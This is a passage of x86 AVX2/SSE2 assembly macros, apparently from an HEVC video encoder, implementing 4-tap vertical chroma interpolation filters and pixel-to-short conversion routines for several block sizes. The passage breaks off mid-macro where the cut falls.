FILTER_VER_CHROMA_W16_12xN_avx2 32, ss, 7
FILTER_VER_CHROMA_W16_12xN_avx2 32, sp, 8
FILTER_VER_CHROMA_W16_12xN_avx2 32, ps, 8
FILTER_VER_CHROMA_W16_12xN_avx2 32, pp, 8
%macro PROCESS_CHROMA_VERT_W24_2R 0
movu m1, [r0]
movu m3, [r0 + r1]
punpcklwd m0, m1, m3
pmaddwd m0, [r5 + 0 * mmsize]
punpckhwd m1, m3
pmaddwd m1, [r5 + 0 * mmsize]
movu xm9, [r0 + mmsize]
movu xm11, [r0 + r1 + mmsize]
punpcklwd xm8, xm9, xm11
pmaddwd xm8, [r5 + 0 * mmsize]
punpckhwd xm9, xm11
pmaddwd xm9, [r5 + 0 * mmsize]
movu m4, [r0 + 2 * r1]
punpcklwd m2, m3, m4
pmaddwd m2, [r5 + 0 * mmsize]
punpckhwd m3, m4
pmaddwd m3, [r5 + 0 * mmsize]
movu xm12, [r0 + 2 * r1 + mmsize]
punpcklwd xm10, xm11, xm12
pmaddwd xm10, [r5 + 0 * mmsize]
punpckhwd xm11, xm12
pmaddwd xm11, [r5 + 0 * mmsize]
lea r6, [r0 + 2 * r1]
movu m5, [r6 + r1]
punpcklwd m6, m4, m5
pmaddwd m6, [r5 + 1 * mmsize]
paddd m0, m6
punpckhwd m4, m5
pmaddwd m4, [r5 + 1 * mmsize]
paddd m1, m4
movu xm13, [r6 + r1 + mmsize]
punpcklwd xm14, xm12, xm13
pmaddwd xm14, [r5 + 1 * mmsize]
paddd xm8, xm14
punpckhwd xm12, xm13
pmaddwd xm12, [r5 + 1 * mmsize]
paddd xm9, xm12
movu m4, [r6 + 2 * r1]
punpcklwd m6, m5, m4
pmaddwd m6, [r5 + 1 * mmsize]
paddd m2, m6
punpckhwd m5, m4
pmaddwd m5, [r5 + 1 * mmsize]
paddd m3, m5
movu xm12, [r6 + 2 * r1 + mmsize]
punpcklwd xm14, xm13, xm12
pmaddwd xm14, [r5 + 1 * mmsize]
paddd xm10, xm14
punpckhwd xm13, xm12
pmaddwd xm13, [r5 + 1 * mmsize]
paddd xm11, xm13
%endmacro
;-----------------------------------------------------------------------------------------------------------------
; void interp_4tap_vert(int16_t *src, intptr_t srcStride, int16_t *dst, intptr_t dstStride, int coeffIdx)
;-----------------------------------------------------------------------------------------------------------------
%macro FILTER_VER_CHROMA_W16_24xN_avx2 3
INIT_YMM avx2
%if ARCH_X86_64
cglobal interp_4tap_vert_%2_24x%1, 5, 7, %3
add r1d, r1d
add r3d, r3d
sub r0, r1
shl r4d, 6
%ifdef PIC
lea r5, [tab_ChromaCoeffV]
lea r5, [r5 + r4]
%else
lea r5, [tab_ChromaCoeffV + r4]
%endif
mov r4d, %1/2
%ifidn %2, pp
vbroadcasti128 m7, [INTERP_OFFSET_PP]
%elifidn %2, sp
vbroadcasti128 m7, [INTERP_OFFSET_SP]
%elifidn %2, ps
vbroadcasti128 m7, [INTERP_OFFSET_PS]
%endif
.loopH:
PROCESS_CHROMA_VERT_W24_2R
%ifidn %2, ss
psrad m0, 6
psrad m1, 6
psrad m2, 6
psrad m3, 6
psrad m8, 6
psrad m9, 6
psrad m10, 6
psrad m11, 6
packssdw m0, m1
packssdw m2, m3
packssdw m8, m9
packssdw m10, m11
%elifidn %2, ps
paddd m0, m7
paddd m1, m7
paddd m2, m7
paddd m3, m7
psrad m0, INTERP_SHIFT_PS
psrad m1, INTERP_SHIFT_PS
psrad m2, INTERP_SHIFT_PS
psrad m3, INTERP_SHIFT_PS
paddd m8, m7
paddd m9, m7
paddd m10, m7
paddd m11, m7
psrad m8, INTERP_SHIFT_PS
psrad m9, INTERP_SHIFT_PS
psrad m10, INTERP_SHIFT_PS
psrad m11, INTERP_SHIFT_PS
packssdw m0, m1
packssdw m2, m3
packssdw m8, m9
packssdw m10, m11
%else
paddd m0, m7
paddd m1, m7
paddd m2, m7
paddd m3, m7
paddd m8, m7
paddd m9, m7
paddd m10, m7
paddd m11, m7
%ifidn %2, pp
psrad m0, INTERP_SHIFT_PP
psrad m1, INTERP_SHIFT_PP
psrad m2, INTERP_SHIFT_PP
psrad m3, INTERP_SHIFT_PP
psrad m8, INTERP_SHIFT_PP
psrad m9, INTERP_SHIFT_PP
psrad m10, INTERP_SHIFT_PP
psrad m11, INTERP_SHIFT_PP
%else
psrad m0, INTERP_SHIFT_SP
psrad m1, INTERP_SHIFT_SP
psrad m2, INTERP_SHIFT_SP
psrad m3, INTERP_SHIFT_SP
psrad m8, INTERP_SHIFT_SP
psrad m9, INTERP_SHIFT_SP
psrad m10, INTERP_SHIFT_SP
psrad m11, INTERP_SHIFT_SP
%endif
packssdw m0, m1
packssdw m2, m3
packssdw m8, m9
packssdw m10, m11
pxor m5, m5
CLIPW2 m0, m2, m5, [pw_pixel_max]
CLIPW2 m8, m10, m5, [pw_pixel_max]
%endif
movu [r2], m0
movu [r2 + r3], m2
movu [r2 + mmsize], xm8
movu [r2 + r3 + mmsize], xm10
lea r2, [r2 + 2 * r3]
lea r0, [r0 + 2 * r1]
dec r4d
jnz .loopH
RET
%endif
%endmacro
FILTER_VER_CHROMA_W16_24xN_avx2 32, ss, 15
FILTER_VER_CHROMA_W16_24xN_avx2 32, sp, 15
FILTER_VER_CHROMA_W16_24xN_avx2 32, ps, 15
FILTER_VER_CHROMA_W16_24xN_avx2 32, pp, 15
FILTER_VER_CHROMA_W16_24xN_avx2 64, ss, 15
FILTER_VER_CHROMA_W16_24xN_avx2 64, sp, 15
FILTER_VER_CHROMA_W16_24xN_avx2 64, ps, 15
FILTER_VER_CHROMA_W16_24xN_avx2 64, pp, 15
;-----------------------------------------------------------------------------------------------------------------
; void interp_4tap_vert(int16_t *src, intptr_t srcStride, int16_t *dst, intptr_t dstStride, int coeffIdx)
;-----------------------------------------------------------------------------------------------------------------
%macro FILTER_VER_CHROMA_W16_48x64_avx2 2
INIT_YMM avx2
cglobal interp_4tap_vert_%1_48x64, 5, 7, %2
add r1d, r1d
add r3d, r3d
sub r0, r1
shl r4d, 6
%ifdef PIC
lea r5, [tab_ChromaCoeffV]
lea r5, [r5 + r4]
%else
lea r5, [tab_ChromaCoeffV + r4]
%endif
mov r4d, 32
%ifidn %1, pp
vbroadcasti128 m7, [INTERP_OFFSET_PP]
%elifidn %1, sp
vbroadcasti128 m7, [INTERP_OFFSET_SP]
%elifidn %1, ps
vbroadcasti128 m7, [INTERP_OFFSET_PS]
%endif
.loopH:
%assign x 0
%rep 3
movu m1, [r0 + x]
movu m3, [r0 + r1 + x]
movu m5, [r5 + 0 * mmsize]
punpcklwd m0, m1, m3
pmaddwd m0, m5
punpckhwd m1, m3
pmaddwd m1, m5
movu m4, [r0 + 2 * r1 + x]
punpcklwd m2, m3, m4
pmaddwd m2, m5
punpckhwd m3, m4
pmaddwd m3, m5
lea r6, [r0 + 2 * r1]
movu m5, [r6 + r1 + x]
punpcklwd m6, m4, m5
pmaddwd m6, [r5 + 1 * mmsize]
paddd m0, m6
punpckhwd m4, m5
pmaddwd m4, [r5 + 1 * mmsize]
paddd m1, m4
movu m4, [r6 + 2 * r1 + x]
punpcklwd m6, m5, m4
pmaddwd m6, [r5 + 1 * mmsize]
paddd m2, m6
punpckhwd m5, m4
pmaddwd m5, [r5 + 1 * mmsize]
paddd m3, m5
%ifidn %1, ss
psrad m0, 6
psrad m1, 6
psrad m2, 6
psrad m3, 6
packssdw m0, m1
packssdw m2, m3
%elifidn %1, ps
paddd m0, m7
paddd m1, m7
paddd m2, m7
paddd m3, m7
psrad m0, INTERP_SHIFT_PS
psrad m1, INTERP_SHIFT_PS
psrad m2, INTERP_SHIFT_PS
psrad m3, INTERP_SHIFT_PS
packssdw m0, m1
packssdw m2, m3
%else
paddd m0, m7
paddd m1, m7
paddd m2, m7
paddd m3, m7
%ifidn %1, pp
psrad m0, INTERP_SHIFT_PP
psrad m1, INTERP_SHIFT_PP
psrad m2, INTERP_SHIFT_PP
psrad m3, INTERP_SHIFT_PP
%else
psrad m0, INTERP_SHIFT_SP
psrad m1, INTERP_SHIFT_SP
psrad m2, INTERP_SHIFT_SP
psrad m3, INTERP_SHIFT_SP
%endif
packssdw m0, m1
packssdw m2, m3
pxor m5, m5
CLIPW2 m0, m2, m5, [pw_pixel_max]
%endif
movu [r2 + x], m0
movu [r2 + r3 + x], m2
%assign x x+mmsize
%endrep
lea r2, [r2 + 2 * r3]
lea r0, [r0 + 2 * r1]
dec r4d
jnz .loopH
RET
%endmacro
FILTER_VER_CHROMA_W16_48x64_avx2 pp, 8
FILTER_VER_CHROMA_W16_48x64_avx2 ps, 8
FILTER_VER_CHROMA_W16_48x64_avx2 ss, 7
FILTER_VER_CHROMA_W16_48x64_avx2 sp, 8
INIT_XMM sse2
cglobal chroma_p2s, 3, 7, 3
; load width and height
mov r3d, r3m
mov r4d, r4m
add r1, r1
; load constant
mova m2, [tab_c_n8192]
.loopH:
xor r5d, r5d
.loopW:
lea r6, [r0 + r5 * 2]
movu m0, [r6]
psllw m0, (14 - BIT_DEPTH)
paddw m0, m2
movu m1, [r6 + r1]
psllw m1, (14 - BIT_DEPTH)
paddw m1, m2
add r5d, 8
cmp r5d, r3d
lea r6, [r2 + r5 * 2]
jg .width4
movu [r6 + FENC_STRIDE / 2 * 0 - 16], m0
movu [r6 + FENC_STRIDE / 2 * 2 - 16], m1
je .nextH
jmp .loopW
.width4:
test r3d, 4
jz .width2
test r3d, 2
movh [r6 + FENC_STRIDE / 2 * 0 - 16], m0
movh [r6 + FENC_STRIDE / 2 * 2 - 16], m1
lea r6, [r6 + 8]
pshufd m0, m0, 2
pshufd m1, m1, 2
jz .nextH
.width2:
movd [r6 + FENC_STRIDE / 2 * 0 - 16], m0
movd [r6 + FENC_STRIDE / 2 * 2 - 16], m1
.nextH:
lea r0, [r0 + r1 * 2]
add r2, FENC_STRIDE / 2 * 4
sub r4d, 2
jnz .loopH
RET
;-----------------------------------------------------------------------------
; void filterPixelToShort(pixel *src, intptr_t srcStride, int16_t *dst, intptr_t dstStride)
;-----------------------------------------------------------------------------
INIT_YMM avx2
cglobal filterPixelToShort_48x64, 3, 7, 4
add r1d, r1d
mov r3d, r3m
add r3d, r3d
lea r4, [r3 * 3]
lea r5, [r1 * 3]
; load height
mov r6d, 16
; load constant
mova m3, [pw_2000]
.loop:
movu m0, [r0]
movu m1, [r0 + 32]
movu m2, [r0 + 64]
psllw m0, (14 - BIT_DEPTH)
psllw m1, (14 - BIT_DEPTH)
psllw m2, (14 - BIT_DEPTH)
psubw m0, m3
psubw m1, m3
psubw m2, m3
movu [r2 + r3 * 0], m0
movu [r2 + r3 * 0 + 32], m1
movu [r2 + r3 * 0 + 64], m2
movu m0, [r0 + r1]
movu m1, [r0 + r1 + 32]
movu m2, [r0 + r1 + 64]
psllw m0, (14 - BIT_DEPTH)
psllw m1, (14 - BIT_DEPTH)
psllw m2, (14 - BIT_DEPTH)
psubw m0, m3
psubw m1, m3
psubw m2, m3
movu [r2 + r3 * 1], m0
movu [r2 + r3 * 1 + 32], m1
movu [r2 + r3 * 1 + 64], m2
movu m0, [r0 + r1 * 2]
movu m1, [r0 + r1 * 2 + 32]
movu m2, [r0 + r1 * 2 + 64]
psllw m0, (14 - BIT_DEPTH)
psllw m1, (14 - BIT_DEPTH)
psllw m2, (14 - BIT_DEPTH)
psubw m0, m3
psubw m1, m3
psubw m2, m3
movu [r2 + r3 * 2], m0
movu [r2 + r3 * 2 + 32], m1
movu [r2 + r3 * 2 + 64], m2
movu m0, [r0 + r5]
movu m1, [r0 + r5 + 32]
movu m2, [r0 + r5 + 64]
psllw m0, (14 - BIT_DEPTH)
psllw m1, (14 - BIT_DEPTH)
psllw m2, (14 - BIT_DEPTH)
psubw m0, m3
psubw m1, m3
psubw m2, m3
movu [r2 + r4], m0
movu [r2 + r4 + 32], m1
movu [r2 + r4 + 64], m2
lea r0, [r0 + r1 * 4]
lea r2, [r2 + r3 * 4]
dec r6d
jnz .loop
RET
%macro FILTER_VER_CHROMA_AVX2_8xN 2
INIT_YMM avx2
%if ARCH_X86_64 == 1
cglobal interp_4tap_vert_%1_8x%2, 4, 9, 15
mov r4d, r4m
shl r4d, 6
add r1d, r1d
add r3d, r3d
%ifdef PIC
lea r5, [tab_ChromaCoeffVer]
add r5, r4
%else
lea r5, [tab_ChromaCoeffVer + r4]
%endif
lea r4, [r1 * 3]
sub r0, r1
%ifidn %1,pp
vbroadcasti128 m14, [pd_32]
%elifidn %1, sp
vbroadcasti128 m14, [INTERP_OFFSET_SP]
%else
vbroadcasti128 m14, [INTERP_OFFSET_PS]
%endif
lea r6, [r3 * 3]
lea r7, [r1 * 4]
mov r8d, %2 / 16
.loopH:
movu xm0, [r0] ; m0 = row 0
movu xm1, [r0 + r1] ; m1 = row 1
punpckhwd xm2, xm0, xm1
punpcklwd xm0, xm1
vinserti128 m0, m0, xm2, 1
pmaddwd m0, [r5]
movu xm2, [r0 + r1 * 2] ; m2 = row 2
punpckhwd xm3, xm1, xm2
punpcklwd xm1, xm2
vinserti128 m1, m1, xm3, 1
pmaddwd m1, [r5]
movu xm3, [r0 + r4] ; m3 = row 3
punpckhwd xm4, xm2, xm3
punpcklwd xm2, xm3
vinserti128 m2, m2, xm4, 1
pmaddwd m4, m2, [r5 + 1 * mmsize]
paddd m0, m4
pmaddwd m2, [r5]
lea r0, [r0 + r1 * 4]
movu xm4, [r0] ; m4 = row 4
punpckhwd xm5, xm3, xm4
punpcklwd xm3, xm4
vinserti128 m3, m3, xm5, 1
pmaddwd m5, m3, [r5 + 1 * mmsize]
paddd m1, m5
pmaddwd m3, [r5]
movu xm5, [r0 + r1] ; m5 = row 5
punpckhwd xm6, xm4, xm5
punpcklwd xm4, xm5
vinserti128 m4, m4, xm6, 1
pmaddwd m6, m4, [r5 + 1 * mmsize]
paddd m2, m6
pmaddwd m4, [r5]
movu xm6, [r0 + r1 * 2] ; m6 = row 6
punpckhwd xm7, xm5, xm6
punpcklwd xm5, xm6
vinserti128 m5, m5, xm7, 1
pmaddwd m7, m5, [r5 + 1 * mmsize]
paddd m3, m7
pmaddwd m5, [r5]
movu xm7, [r0 + r4] ; m7 = row 7
punpckhwd xm8, xm6, xm7
punpcklwd xm6, xm7
vinserti128 m6, m6, xm8, 1
pmaddwd m8, m6, [r5 + 1 * mmsize]
paddd m4, m8
pmaddwd m6, [r5]
lea r0, [r0 + r1 * 4]
movu xm8, [r0] ; m8 = row 8
punpckhwd xm9, xm7, xm8
punpcklwd xm7, xm8
vinserti128 m7, m7, xm9, 1
pmaddwd m9, m7, [r5 + 1 * mmsize]
paddd m5, m9
pmaddwd m7, [r5]
movu xm9, [r0 + r1] ; m9 = row 9
punpckhwd xm10, xm8, xm9
punpcklwd xm8, xm9
vinserti128 m8, m8, xm10, 1
pmaddwd m10, m8, [r5 + 1 * mmsize]
paddd m6, m10
pmaddwd m8, [r5]
movu xm10, [r0 + r1 * 2] ; m10 = row 10
punpckhwd xm11, xm9, xm10
punpcklwd xm9, xm10
vinserti128 m9, m9, xm11, 1
pmaddwd m11, m9, [r5 + 1 * mmsize]
paddd m7, m11
pmaddwd m9, [r5]
movu xm11, [r0 + r4] ; m11 = row 11
punpckhwd xm12, xm10, xm11
punpcklwd xm10, xm11
vinserti128 m10, m10, xm12, 1
pmaddwd m12, m10, [r5 + 1 * mmsize]
paddd m8, m12
pmaddwd m10, [r5]
lea r0, [r0 + r1 * 4]
movu xm12, [r0] ; m12 = row 12
punpckhwd xm13, xm11, xm12
punpcklwd xm11, xm12
vinserti128 m11, m11, xm13, 1
pmaddwd m13, m11, [r5 + 1 * mmsize]
paddd m9, m13
pmaddwd m11, [r5]
%ifidn %1,ss
psrad m0, 6
psrad m1, 6
psrad m2, 6
psrad m3, 6
psrad m4, 6
psrad m5, 6
%else
paddd m0, m14
paddd m1, m14
paddd m2, m14
paddd m3, m14
paddd m4, m14
paddd m5, m14
%ifidn %1,pp
psrad m0, 6
psrad m1, 6
psrad m2, 6
psrad m3, 6
psrad m4, 6
psrad m5, 6
%elifidn %1, sp
psrad m0, INTERP_SHIFT_SP
psrad m1, INTERP_SHIFT_SP
psrad m2, INTERP_SHIFT_SP
psrad m3, INTERP_SHIFT_SP
psrad m4, INTERP_SHIFT_SP
psrad m5, INTERP_SHIFT_SP
%else
psrad m0, INTERP_SHIFT_PS
psrad m1, INTERP_SHIFT_PS
psrad m2, INTERP_SHIFT_PS
psrad m3, INTERP_SHIFT_PS
psrad m4, INTERP_SHIFT_PS
psrad m5, INTERP_SHIFT_PS
%endif
%endif
packssdw m0, m1
packssdw m2, m3
packssdw m4, m5
vpermq m0, m0, q3120
vpermq m2, m2, q3120
vpermq m4, m4, q3120
pxor m5, m5
mova m3, [pw_pixel_max]
%ifidn %1,pp
CLIPW m0, m5, m3
CLIPW m2, m5, m3
CLIPW m4, m5, m3
%elifidn %1, sp
CLIPW m0, m5, m3
CLIPW m2, m5, m3
CLIPW m4, m5, m3
%endif
vextracti128 xm1, m0, 1
movu [r2], xm0
movu [r2 + r3], xm1
vextracti128 xm1, m2, 1
movu [r2 + r3 * 2], xm2
movu [r2 + r6], xm1
lea r2, [r2 + r3 * 4]
vextracti128 xm1, m4, 1
movu [r2], xm4
movu [r2 + r3], xm1
movu xm13, [r0 + r1] ; m13 = row 13
punpckhwd xm0, xm12, xm13
punpcklwd xm12, xm13
vinserti128 m12, m12, xm0, 1
pmaddwd m0, m12, [r5 + 1 * mmsize]
paddd m10, m0
pmaddwd m12, [r5]
movu xm0, [r0 + r1 * 2] ; m0 = row 14
punpckhwd xm1, xm13, xm0
punpcklwd xm13, xm0
vinserti128 m13, m13, xm1, 1
pmaddwd m1, m13, [r5 + 1 * mmsize]
paddd m11, m1
pmaddwd m13, [r5]
%ifidn %1,ss
psrad m6, 6
psrad m7, 6
%else
paddd m6, m14
paddd m7, m14
%ifidn %1,pp
psrad m6, 6
psrad m7, 6
%elifidn %1, sp
psrad m6, INTERP_SHIFT_SP
psrad m7, INTERP_SHIFT_SP
%else
psrad m6, INTERP_SHIFT_PS
psrad m7, INTERP_SHIFT_PS
%endif
%endif
packssdw m6, m7
vpermq m6, m6, q3120
%ifidn %1,pp
CLIPW m6, m5, m3
%elifidn %1, sp
CLIPW m6, m5, m3
%endif
vextracti128 xm7, m6, 1
movu [r2 + r3 * 2], xm6
movu [r2 + r6], xm7
movu xm1, [r0 + r4] ; m1 = row 15
punpckhwd xm2, xm0, xm1
punpcklwd xm0, xm1
vinserti128 m0, m0, xm2, 1
pmaddwd m2, m0, [r5 + 1 * mmsize]
paddd m12, m2
pmaddwd m0, [r5]
lea r0, [r0 + r1 * 4]
movu xm2, [r0] ; m2 = row 16
punpckhwd xm6, xm1, xm2
punpcklwd xm1, xm2
vinserti128 m1, m1, xm6, 1
pmaddwd m6, m1, [r5 + 1 * mmsize]
paddd m13, m6
pmaddwd m1, [r5]
movu xm6, [r0 + r1] ; m6 = row 17
punpckhwd xm4, xm2, xm6
punpcklwd xm2, xm6
vinserti128 m2, m2, xm4, 1
pmaddwd m2, [r5 + 1 * mmsize]
paddd m0, m2
movu xm4, [r0 + r1 * 2] ; m4 = row 18
punpckhwd xm2, xm6, xm4
punpcklwd xm6, xm4
vinserti128 m6, m6, xm2, 1
pmaddwd m6, [r5 + 1 * mmsize]
paddd m1, m6
%ifidn %1,ss
psrad m8, 6
psrad m9, 6
psrad m10, 6
psrad m11, 6
psrad m12, 6
psrad m13, 6
psrad m0, 6
psrad m1, 6
%else
paddd m8, m14
paddd m9, m14
paddd m10, m14
paddd m11, m14
paddd m12, m14
paddd m13, m14
paddd m0, m14
paddd m1, m14
%ifidn %1,pp
psrad m8, 6
psrad m9, 6
psrad m10, 6
psrad m11, 6
psrad m12, 6
psrad m13, 6
psrad m0, 6
psrad m1, 6
%elifidn %1, sp
psrad m8, INTERP_SHIFT_SP
psrad m9, INTERP_SHIFT_SP
psrad m10, INTERP_SHIFT_SP
psrad m11, INTERP_SHIFT_SP
psrad m12, INTERP_SHIFT_SP
psrad m13, INTERP_SHIFT_SP
psrad m0, INTERP_SHIFT_SP
psrad m1, INTERP_SHIFT_SP
%else
psrad m8, INTERP_SHIFT_PS
psrad m9, INTERP_SHIFT_PS
psrad m10, INTERP_SHIFT_PS
psrad m11, INTERP_SHIFT_PS
psrad m12, INTERP_SHIFT_PS
psrad m13, INTERP_SHIFT_PS
psrad m0, INTERP_SHIFT_PS
psrad m1, INTERP_SHIFT_PS
%endif
%endif
packssdw m8, m9
packssdw m10, m11
packssdw m12, m13
packssdw m0, m1
vpermq m8, m8, q3120
vpermq m10, m10, q3120
vpermq m12, m12, q3120
vpermq m0, m0, q3120
%ifidn %1,pp
CLIPW m8, m5, m3
CLIPW m10, m5, m3
CLIPW m12, m5, m3
CLIPW m0, m5, m3
%elifidn %1, sp
CLIPW m8, m5, m3
CLIPW m10, m5, m3
CLIPW m12, m5, m3
CLIPW m0, m5, m3
%endif
vextracti128 xm9, m8, 1
vextracti128 xm11, m10, 1
vextracti128 xm13, m12, 1
vextracti128 xm1, m0, 1
lea r2, [r2 + r3 * 4]
movu [r2], xm8
movu [r2 + r3], xm9
movu [r2 + r3 * 2], xm10
movu [r2 + r6], xm11
lea r2, [r2 + r3 * 4]
movu [r2], xm12
movu [r2 + r3], xm13
movu [r2 + r3 * 2], xm0
movu [r2 + r6], xm1
lea r2, [r2 + r3 * 4]
dec r8d
jnz .loopH
RET
%endif
%endmacro
FILTER_VER_CHROMA_AVX2_8xN pp, 16
FILTER_VER_CHROMA_AVX2_8xN ps, 16
FILTER_VER_CHROMA_AVX2_8xN ss, 16
FILTER_VER_CHROMA_AVX2_8xN sp, 16
FILTER_VER_CHROMA_AVX2_8xN pp, 32
FILTER_VER_CHROMA_AVX2_8xN ps, 32
FILTER_VER_CHROMA_AVX2_8xN sp, 32
FILTER_VER_CHROMA_AVX2_8xN ss, 32
FILTER_VER_CHROMA_AVX2_8xN pp, 64
FILTER_VER_CHROMA_AVX2_8xN ps, 64
FILTER_VER_CHROMA_AVX2_8xN sp, 64
FILTER_VER_CHROMA_AVX2_8xN ss, 64
%macro PROCESS_CHROMA_AVX2_8x2 3
movu xm0, [r0] ; m0 = row 0
movu xm1, [r0 + r1] ; m1 = row 1
punpckhwd xm2, xm0, xm1
punpcklwd xm0, xm1
vinserti128 m0, m0, xm2, 1
pmaddwd m0, [r5]
movu xm2, [r0 + r1 * 2] ; m2 = row 2
punpckhwd xm3, xm1, xm2
punpcklwd xm1, xm2
vinserti128 m1, m1, xm3, 1
pmaddwd m1, [r5]
movu xm3, [r0 + r4] ; m3 = row 3
punpckhwd xm4, xm2, xm3
punpcklwd xm2, xm3
vinserti128 m2, m2, xm4, 1
pmaddwd m2, m2, [r5 + 1 * mmsize]
paddd m0, m2
lea r0, [r0 + r1 * 4]
movu xm4, [r0] ; m4 = row 4
punpckhwd xm5, xm3, xm4
punpcklwd xm3, xm4
vinserti128 m3, m3, xm5, 1
pmaddwd m3, m3, [r5 + 1 * mmsize]
paddd m1, m3
%ifnidn %1,ss
paddd m0, m7
paddd m1, m7
%endif
psrad m0, %3
psrad m1, %3
packssdw m0, m1
vpermq m0, m0, q3120
pxor m4, m4
%if %2
CLIPW m0, m4, [pw_pixel_max]
%endif
vextracti128 xm1, m0, 1
%endmacro
%macro FILTER_VER_CHROMA_AVX2_8x2 3
INIT_YMM avx2
cglobal interp_4tap_vert_%1_8x2, 4, 6, 8
mov r4d, r4m
shl r4d, 6
add r1d, r1d
add r3d, r3d
%ifdef PIC
lea r5, [tab_ChromaCoeffVer]
add r5, r4
%else
lea r5, [tab_ChromaCoeffVer + r4]
%endif
lea r4, [r1 * 3]
sub r0, r1
%ifidn %1,pp
vbroadcasti128 m7, [pd_32]
%elifidn %1, sp
vbroadcasti128 m7, [INTERP_OFFSET_SP]
%else
vbroadcasti128 m7, [INTERP_OFFSET_PS]
%endif
PROCESS_CHROMA_AVX2_8x2 %1, %2, %3
movu [r2], xm0
movu [r2 + r3], xm1
RET
%endmacro
FILTER_VER_CHROMA_AVX2_8x2 pp, 1, 6
FILTER_VER_CHROMA_AVX2_8x2 ps, 0, INTERP_SHIFT_PS
FILTER_VER_CHROMA_AVX2_8x2 sp, 1, INTERP_SHIFT_SP
FILTER_VER_CHROMA_AVX2_8x2 ss, 0, 6
%macro FILTER_VER_CHROMA_AVX2_4x2 3
INIT_YMM avx2
cglobal interp_4tap_vert_%1_4x2, 4, 6, 7
mov r4d, r4m
add r1d, r1d
add r3d, r3d
shl r4d, 6
%ifdef PIC
lea r5, [tab_ChromaCoeffVer]
add r5, r4
%else
lea r5, [tab_ChromaCoeffVer + r4]
%endif
lea r4, [r1 * 3]
sub r0, r1
%ifidn %1,pp
vbroadcasti128 m6, [pd_32]
%elifidn %1, sp
vbroadcasti128 m6, [INTERP_OFFSET_SP]
%else
vbroadcasti128 m6, [INTERP_OFFSET_PS]
%endif
movq xm0, [r0] ; row 0
movq xm1, [r0 + r1] ; row 1
punpcklwd xm0, xm1
movq xm2, [r0 + r1 * 2] ; row 2
punpcklwd xm1, xm2
vinserti128 m0, m0, xm1, 1 ; m0 = [2 1 1 0]
pmaddwd m0, [r5]
movq xm3, [r0 + r4] ; row 3
punpcklwd xm2, xm3
lea r0, [r0 + 4 * r1]
movq xm4, [r0] ; row 4
punpcklwd xm3, xm4
vinserti128 m2, m2, xm3, 1 ; m2 = [4 3 3 2]
pmaddwd m5, m2, [r5 + 1 * mmsize]
paddd m0, m5
%ifnidn %1, ss
paddd m0, m6
%endif
psrad m0, %3
packssdw m0, m0
pxor m1, m1
%if %2
CLIPW m0, m1, [pw_pixel_max]
%endif
vextracti128 xm2, m0, 1
lea r4, [r3 * 3]
movq [r2], xm0
movq [r2 + r3], xm2
RET
%endmacro
FILTER_VER_CHROMA_AVX2_4x2 pp, 1, 6
FILTER_VER_CHROMA_AVX2_4x2 ps, 0, INTERP_SHIFT_PS
FILTER_VER_CHROMA_AVX2_4x2 sp, 1, INTERP_SHIFT_SP
FILTER_VER_CHROMA_AVX2_4x2 ss, 0, 6
%macro FILTER_VER_CHROMA_AVX2_4x4 3
INIT_YMM avx2
cglobal interp_4tap_vert_%1_4x4, 4, 6, 7
mov r4d, r4m
add r1d, r1d
add r3d, r3d
shl r4d, 6
%ifdef PIC
lea r5, [tab_ChromaCoeffVer]
add r5, r4
%else
lea r5, [tab_ChromaCoeffVer + r4]
%endif
lea r4, [r1 * 3]
sub r0, r1
%ifidn %1,pp
vbroadcasti128 m6, [pd_32]
%elifidn %1, sp
vbroadcasti128 m6, [INTERP_OFFSET_SP]
%else
vbroadcasti128 m6, [INTERP_OFFSET_PS]
%endif
movq xm0, [r0] ; row 0
movq xm1, [r0 + r1] ; row 1
punpcklwd xm0, xm1
movq xm2, [r0 + r1 * 2] ; row 2
punpcklwd xm1, xm2
vinserti128 m0, m0, xm1, 1 ; m0 = [2 1 1 0]
pmaddwd m0, [r5]
movq xm3, [r0 + r4] ; row 3
punpcklwd xm2, xm3
lea r0, [r0 + 4 * r1]
movq xm4, [r0] ; row 4
punpcklwd xm3, xm4
vinserti128 m2, m2, xm3, 1 ; m2 = [4 3 3 2]
pmaddwd m5, m2, [r5 + 1 * mmsize]
pmaddwd m2, [r5]
paddd m0, m5
movq xm3, [r0 + r1] ; row 5
punpcklwd xm4, xm3
movq xm1, [r0 + r1 * 2] ; row 6
punpcklwd xm3, xm1
vinserti128 m4, m4, xm3, 1 ; m4 = [6 5 5 4]
pmaddwd m4, [r5 + 1 * mmsize]
paddd m2, m4
%ifnidn %1,ss
paddd m0, m6
paddd m2, m6
%endif
psrad m0, %3
psrad m2, %3
packssdw m0, m2
pxor m1, m1
%if %2
CLIPW m0, m1, [pw_pixel_max]
%endif
vextracti128 xm2, m0, 1
lea r4, [r3 * 3]
movq [r2], xm0
movq [r2 + r3], xm2
movhps [r2 + r3 * 2], xm0
movhps [r2 + r4], xm2
RET
%endmacro
FILTER_VER_CHROMA_AVX2_4x4 pp, 1, 6
FILTER_VER_CHROMA_AVX2_4x4 ps, 0, INTERP_SHIFT_PS
FILTER_VER_CHROMA_AVX2_4x4 sp, 1, INTERP_SHIFT_SP
FILTER_VER_CHROMA_AVX2_4x4 ss, 0, 6
%macro FILTER_VER_CHROMA_AVX2_4x8 3
INIT_YMM avx2
cglobal interp_4tap_vert_%1_4x8, 4, 7, 8
mov r4d, r4m
shl r4d, 6
add r1d, r1d
add r3d, r3d
%ifdef PIC
lea r5, [tab_ChromaCoeffVer]
add r5, r4
%else
lea r5, [tab_ChromaCoeffVer + r4]
%endif
lea r4, [r1 * 3]
sub r0, r1
%ifidn %1,pp
vbroadcasti128 m7, [pd_32]
%elifidn %1, sp
vbroadcasti128 m7, [INTERP_OFFSET_SP]
%else
vbroadcasti128 m7, [INTERP_OFFSET_PS]
%endif
lea r6, [r3 * 3]
movq xm0, [r0] ; row 0
movq xm1, [r0 + r1] ; row 1
punpcklwd xm0, xm1
movq xm2, [r0 + r1 * 2] ; row 2
punpcklwd xm1, xm2
vinserti128 m0, m0, xm1, 1 ; m0 = [2 1 1 0]
pmaddwd m0, [r5]
movq xm3, [r0 + r4] ; row 3
punpcklwd xm2, xm3
lea r0, [r0 + 4 * r1]
movq xm4, [r0] ; row 4
punpcklwd xm3, xm4
vinserti128 m2, m2, xm3, 1 ; m2 = [4 3 3 2]
pmaddwd m5, m2, [r5 + 1 * mmsize]
pmaddwd m2, [r5]
paddd m0, m5
movq xm3, [r0 + r1] ; row 5
punpcklwd xm4, xm3
movq xm1, [r0 + r1 * 2] ; row 6
punpcklwd xm3, xm1
vinserti128 m4, m4, xm3, 1 ; m4 = [6 5 5 4]
